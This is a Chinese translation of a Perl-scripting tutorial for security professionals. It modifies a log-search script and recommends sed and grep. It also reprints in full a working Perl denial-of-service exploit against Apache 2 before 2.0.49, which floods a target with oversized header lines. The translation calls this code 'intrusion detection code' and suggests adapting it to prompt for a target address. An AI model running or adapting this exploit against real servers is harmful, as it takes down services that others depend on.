|
在这个两部分系列的第一篇文章中,我们看到脚本确实在计算机安全专家的工作中占有一席之地。在这第二部分我将给你示范修改早期的脚本并且包括一些命令行的强大工具。
在这个关于脚本能如何影响作为一个工作中的计算机安全专家的你的系列文章的第一部分中,我们研究了一个PERL脚本如何能做到这点。正如我在第一篇文章中提到的那样,根据你的偏好PERL或者Python可以有多种多样的用法。在这最后一篇文章中我将阐述的是如何进一步修改我在第一部分包含的的脚本,接着研究PERL有的io:module.文章的最后将粗略的提到一些诸如sed,grep和其它已经移植到Win32上的强大工具。
修改脚本
我不了解你,但是开始一个新的工作前发现有许多遗留下来的脚本要你维护是很平常的。通过遗产脚本我想说的是在你开始工作前有一些东西需要处理。这些脚本通常难于维护和理解,取决于它们写的有多好以及脚本本身注释是否充足。记住如果你的脚本将变得很大,你应该包括大量的注释给那些最终必须维护和修改你脚本的人。关于这个让我们看看我在第一篇文章中写的脚本。
为了简要,我将不包括这篇文章第一部分的脚本或者输入文件。请把输入文件例子复制粘贴到你的C:\盘。既然你已经完成了这些,我们准备以一个简单的方式修改第一部分见到的脚本。我们将要做的是通过增加另外的IP地址简单地修改“192.168.1.102”的搜索模式。是的,实际上你可以有一个一次搜索一个模式以上的脚本!我们实际上将做的唯一变动如下。脚本的其它部分将保持不变。
#!/usr/bin/perl -w
$pattern = "(192.168.1.102|192.168.1.103)"; #changes are done here on this line
open(INPUT, 'c:\articlefile') || die "can't open the file called article_file: $1";
open(OUTPUT, '>c:\articleoutput') ||die "can't write to the file called script_output: $1";
while(<INPUT>) {
if ($_ =~(m/$pattern/g)) {
print OUTPUT "$_\n";
}
}
close(INPUT);
close(OUTPUT);
|
既然我们已经修改了我们的脚本,如上所示,PERL的多功能性再一次显示出来。以一行的一个简单变动,你现在可以搜索一个模式的多重实例,这将有利于你。快捷,方便和迅速或者你也可以说这正是PERL如此流行的原因。
PERL的 io:module
我以前在文章中提到我们将研究PERL必须提供的许多模块当中的一个。希望你们会看我提供给你们的超链接,那里有一个模块宝库在等你。它是找到工作模块为了某些目的通过尝试修改它们然后在你的PERL上实现的一个极好的地方。那是或者简单研究好的PERL看起来是什么样的。我们知道安全总与我们关系重大,让我们来看用PERL写的漏洞检测代码的一小部分,其中它也利用了io:moule。请见以下例子代码。也请注意系列的打印声明,这个脚本要归功于Georgi Guninski。
#!/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#
use IO::Socket::INET;
$host="192.168.1.108";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
$buf=" $buf4\r\n";
send($sock,$buf,0) || die "send error:$@, target maybe have been
D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";
$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";
send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);
|
从这个脚本我们可以看到它使用硬编码IP地址。在我加了下划线那行,即:$host的标量值。短短的24行PERL代码产生了一些相当妙的入侵检测代码。它被用来演示阿帕奇网络服务器上的拒绝服务攻击的情况。另一方面,当我们看到利用C或者C++写的入侵检测代码的时候,一般普遍多于24行。
这段入侵检测代码是一个你如何充分发挥PERL实力的完美例子。你进一步修改这个脚本以便你能提示用户通过输入上面见到的IP硬编码得到地址如何?这些将是简单的小修改,但是它们足以显示PERL是多么灵活和紧凑。
强大的工具
很长一段时间,Linux和UNIX能声称他们拥有最好的shell工具。从他们以前所做的来看很难怀疑这种说法的真实性。然而情况已经改变了,wind32现在已经获得同样的shell工具。从Linux和UNIX移植到win32的是一些著名工具,例如:sed和grep。在特定时间内对一份冗长的资料进行修改可能是件麻烦的事情。使用sed就不一样了。这个小程序使类似的任务变得简短,它是一个亦称为sed的流编辑器。你能在这里(http://unxutils.sourceforge.net/)下载这些工具。一旦你习惯了使用诸如sed和grep这样的工具,它将让你重新感激通过cmd.exe所提供给你的命令行接口。
总结
我们已经看完了这个两部分的系列文章,PERL对于计算机安全专家确实相当重要。如果没有办法学习C或者C++,那么干脆花点时间学习一些重要的PERL技术。拥有编写象这里包括的如此简单的PERL脚本的能力将在以后为你节约大量的时间。PERL的另外一个卓越性能是他的简便性,以防你在异构环境下工作。最后,非常有用的工具象sed和grep也可以帮助你每天的活动。一旦你对它们感到满意,你将对某些工具的强大感到惊奇。我真诚地希望你们能够喜欢这个文章系列,并且一如既往的欢迎你们的反馈。下次见!
=============================================
原文链接:http://www.windowsecurity.com/articles/Scripting-Security-Part2.html
作者:Don Parker.
(t116)
|